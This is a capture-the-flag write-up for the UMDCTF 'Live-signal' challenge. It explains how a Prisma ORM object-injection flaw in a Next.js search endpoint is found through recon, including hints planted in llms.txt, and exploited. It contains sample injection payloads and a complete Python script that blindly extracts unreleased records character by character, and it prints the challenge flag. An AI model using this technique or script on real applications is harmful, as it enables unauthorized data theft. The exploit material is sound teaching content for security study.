đźš© UMDCTF - Live-signal

Executive Summary

  • OS: Linux
  • Key Technique: The website contains a search endpoint called /analyst/<analyst-name> that is vulnerable to ORM injection that allows unverified user to access to tickers that was not released by the analyst yet, thus allow anonymous user to be falsely authenticated as an insider.
  • Status: Completed

Reconnaissance

First Look

center

This website appears to be some sort of financial prediction market market on which analysts publish their predictions.

There is some sort of login page locates at /insiders, where an anonymous user must input some sort of information about something called ticker (which is the prediction of an analyst) into the fields in order to authenticate.

center

The page set a rate limit of 3 attempts per minutes for each IP, however, when I tried sending multiple requests using BurpSuite there does not seems to return any sort of error or blocking.

center

center

Inside the page for analysts, located at /analyst/<analyst-name>, there is a page for each analyst that display their information as well as their past tickers displayed in a table. I tried entering a random ticker’s information into the insider’s fields but it is no use, I was not authenticated.

center

It seems like we have to somehow exfiltrate the information of the unreleased tickers (which will be announced after the timer at the index page runs off)

The only other place that I can pivot to is the search bar at the analyst page. Looking at the format of the request body, we can see that the request takes a list of data, the first data is a dictionary and the second data is an integer.

center

Testing the water

I tried messing with the input data a little and figure out that the integer is just the limit of the number of record return in the output. The app safely identify unexpected format of the number input.

If I tried changing25 to a negative integer, or a float, the backend will just return the default result of the query (which is the latest public ticker of the analyst)

center

I wonder if this endpoint is vulnerable to SQLi, so I tried a test payload into the handler field:

[
	{"handle":"quant_sable' OR 1=1--"},
	25
]

If the attack succeed, I should be able to get the list of all the tickers from all other analysts. However, only the tickers from quant_sable was returned, the attack failed.

Exploitation

Getting stuck at a wall, I decided to go back to reconnaissance a bit more. I always want to look if the website is hosting a robots.txtfile at times like this and fortunately it does:

center

There is a sitemap.xml page, let’s see what it has:

center

There is a hidden file at /llms.txt which is a “robots.txt for AI” - just as robots.txt tells search engine crawlers which pages to index, llms.txt tells AI systems which content they can use for training, citations, and answer generation.

center

The highlighted practically tells us what to do in order to exploit the website! It talks about relation-filter injection with nested predicates against signal relation, using boolean-oracle to extract the text from the table and craft the input for the /insiders endpoint.

Looking at the next paragraph, it seems like the website is using some sort of ORM (Object Relational Mapping).

Object-Relational Mapping (ORM) is a technique that lets you query and manipulate data from a database using an object-oriented paradigm. When talking about ORM, most people are referring to a library that implements the Object-Relational Mapping technique, hence the phrase “an ORM”.

An ORM library is a completely ordinary library written in your language of choice that encapsulates the code needed to manipulate the data, so you don’t use SQL anymore; you interact directly with an object in the same language you’re using.

For example, here is a completely imaginary case with a pseudo language:

You have a book class, you want to retrieve all the books of which the author is “Linus”. Manually, you would do something like that:

book_list = new List();
sql = "SELECT book FROM library WHERE author = 'Linus'";
data = query(sql); // I over simplify ...
while (row = data.next())
{
     book = new Book();
     book.setAuthor(row.get('author');
     book_list.add(book);
}

With an ORM library, it would look like this:

book_list = BookTable.query(author="Linus");

The mechanical part (aka. the SQL query construction) is taken care of automatically via the ORM library.

Since using ORM abstract the SQL part away, applications are less prone to be vulnerable to SQL Injection attack. In this specific challenge, this information opens up for us a new attack vector: ORM Injection.

ORM Injection

According to OWASP.org, ORM injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.

This explanation sounds a bit too simplistic for me because earlier we failed when trying with SQL injection. However, the blog gives us a valuable resource about the ORM library that each languages often uses. Since the page, uses Next.js, we knows that Node.js is the platform used in the backend. The ORM related to Node are:

center

In order to pinpoint the exact ORM that the website uses, we have no other choice but to create some sort of error, or using library-specific syntax.

Since any error message of the website are safely handled and masked behind a random number, we cannot based on the errors to pinpoint the ORM.

Looking close into different types of syntax from different ORM, Node.js’s ORMs have 2 main types of syntax.

  1. The Method/Lambda ORMs (use lambda function for method chaining to form a query): Bookshelf, Orange ORM
  2. The Object ORMs (use JSON objects to form a query): The rest.

As for the first type, their syntax is kind of like .where('age', '>', req.body.age), this one requires us to inject directly into the field (like normal SQLi) if we want to exploit, however, as we have tested before, such effort is futile.

The second type is often vulnerable to type juggling where the developers does not implement strict data type check and allow user to input Objects instead of the expected primitive data type. In this case, we can try Object Injection where we input another JSON object into the field, kind of like:

{ 
	"handle":"quant_sable",
	"publishedAt": { 
		"$gt": "$D2026-02-12T22:49:17.490Z" 
	}
}

Trying all sort of payloads led me to confirm that the backend was using Prisma ORM.

[
	{"handle":"quant_sable",
		"signals":{
			"some":{
				"contractPrice":{
					"gt":50
				}
			}
		}
	},
	25
]

The backend returns 200 OK instead of 500 Internal Server Error.

center

Now that we know the server is vulnerable to type juggling, however, when we look at the input, despite our input is being processed by the backend, the returned data is still the default list of all past signals of quant_sable.

The hints tells us to use boolean-oracle to blindly extract the text, therefore there might be a True/False filters running in the background, the code in the backend might looks something like this:

const analyst = await prisma.analyst.findFirst({
  // Type Juggling Vulnerability
  where: req.body[0]
});
 
if (!analyst) {
  return []; 
}
 
// If the analyst was found, return their past signals.
const publicSignals = await prisma.signal.findMany({
  where: { 
    analystId: analyst.id,
    publishedAt: { lt: new Date() } 
  },
  take: req.body[1] // The limit (25)
});
 
return publicSignals;

When the since the code will check whether the demanded analyst exists or not, utilize this to check if a field’s value starts with a certain prefix to extract the text:

[
	{"handle":"quant_sable",
		"signals":{
			"some":{
				"publishedAt":{
					"gt": $current_time
				},
				"signalHmac":{
					"startsWith" : $prefix
				}
			}
		}
	},
	25
]

The above payload when being put into the Prisma function will trigger the following query in the background:

SELECT s.* FROM Signal s
INNER JOIN Analyst a ON s.analystId = a.id
WHERE a.handle = 'quant_sable'
  AND s.publishedAt < CURRENT_TIMESTAMP
  AND EXISTS (
      SELECT 1 
      FROM Signal future_s 
      WHERE future_s.analystId = a.id 
        AND future_s.publishedAt > '2026-04-27 00:00:00'
        AND furure_s.signal_Hmac LIKE '$prefix%'
  )
  
ORDER BY s.publishedAt DESC
LIMIT 25;

Since quant_sable definitely have a future signal that he hasn’t released yet, therefore the whole query boils down to whether furure_s.signal_Hmac LIKE '$prefix%' returns True or not.

Proof of Concept

import requests
import json
import string
import sys
import argparse
import urllib3
from datetime import datetime, timezone
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  
SEARCH_URL = "https://live-signal.challs.umdctf.io/analyst/quant_sable"
INSIDERS_URL = "https://live-signal.challs.umdctf.io/insiders"
CURRENT_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.000Z")
  
def get_args():
    parser = argparse.ArgumentParser(description="Next.js Prisma Blind ORM Extraction Script")
    parser.add_argument("--search-next-action", required=True, help="Next-Action ID for the search endpoint")
    parser.add_argument("--insiders-next-action", required=True, help="Next-Action ID for the insiders endpoint")
    parser.add_argument("--first-ticker", required=True, help="The first public ticker on the tape to verify a TRUE response")
    return parser.parse_args()
  
def is_true(payload, args, session):
    headers = {
        "Next-Action": args.search_next_action,
        "Content-Type": "text/plain;charset=UTF-8",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
    }
    data = json.dumps(payload)
    try:
        resp = session.post(SEARCH_URL, headers=headers, data=data, verify=False)
        return args.first_ticker in resp.text
    except Exception:
        return False
  
def extract_string(field_name, charset, args, session):
    extracted = ""
    sys.stdout.write(f"\r[*] Extracting {field_name}: {extracted}")
    sys.stdout.flush()
    while True:
        found_char = False
        for char in charset:
            guess = extracted + char
            sys.stdout.write(f"\r[*] Extracting {field_name}: {guess}")
            sys.stdout.flush()
            payload = [
                {
                    "handle": "quant_sable",
                    "signals": {
                        "some": {
                            "publishedAt": { "gt": CURRENT_TIME },
                            field_name: { "startsWith": guess }
                        }
                    }
                },
                25
            ]
            if is_true(payload, args, session):
                extracted = guess
                found_char = True
                break
  
        if not found_char:
            sys.stdout.write(f"\r[+] Final {field_name}: {extracted}    \n")
            break
    return extracted
  
def extract_price(field_name, args, session):
    sys.stdout.write(f"\r[*] Extracting {field_name}: 0")
    sys.stdout.flush()
    for price in range(1, 100):
        sys.stdout.write(f"\r[*] Extracting {field_name}: {price}")
        sys.stdout.flush()
        payload = [
            {
                "handle": "quant_sable",
                "signals": {
                    "some": {
                        "publishedAt": { "gt": CURRENT_TIME },
                        field_name: { "equals": price }
                    }
                }
            },
            25
        ]
        if is_true(payload, args, session):
            sys.stdout.write(f"\r[+] Final {field_name}: {price}    \n")
            return price
    sys.stdout.write(f"\r[-] Final {field_name}: Not Found    \n")
    return "Not Found"
  
def submit_insiders(final_tuple, args, session):
    print("\n[*] Submitting extracted data to /insiders...")
    headers = {
        "Next-Action": args.insiders_next_action,
        "Accept": "text/x-component",
        "Content-Type": "text/plain;charset=UTF-8",
        "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22insiders%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%2C0%5D%7D%2Cnull%2Cnull%2C0%5D%7D%2Cnull%2Cnull%2C16%5D",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
        "Origin": "https://live-signal.challs.umdctf.io",
        "Referer": INSIDERS_URL
    }
    data = json.dumps(final_tuple)
    try:
        resp = session.post(INSIDERS_URL, headers=headers, data=data, verify=False)
        print(f"[+] HTTP Status: {resp.status_code}")
        print(f"[+] Response Body:\n\n{resp.text}\n")
    except Exception as e:
        print(f"[-] Request failed: {e}")
  
if __name__ == "__main__":
    args = get_args()
    session = requests.Session()
  
    print("[*] Starting Prisma Blind ORM Extraction...\n")
  
    ticker_charset = string.ascii_uppercase + string.digits + "-"
    hmac_charset = "0123456789abcdef"
    side_charset = "YESNO"
  
    ticker = extract_string("ticker", ticker_charset, args, session)
    side = extract_string("side", side_charset, args, session)
    hmac = extract_string("signalHmac", hmac_charset, args, session)
    price = extract_price("contractPrice", args, session)
  
    final_tuple = [ticker, side, price, hmac]
    print("\n" + "="*50)
    print(f"EXFILTRATION COMPLETE: {final_tuple}")
    print("="*50)
    submit_insiders(final_tuple, args, session)    

Flag and Loots

Flag: UMDCTF{z0d_1s_f0r_sc4r3dy_c4ts}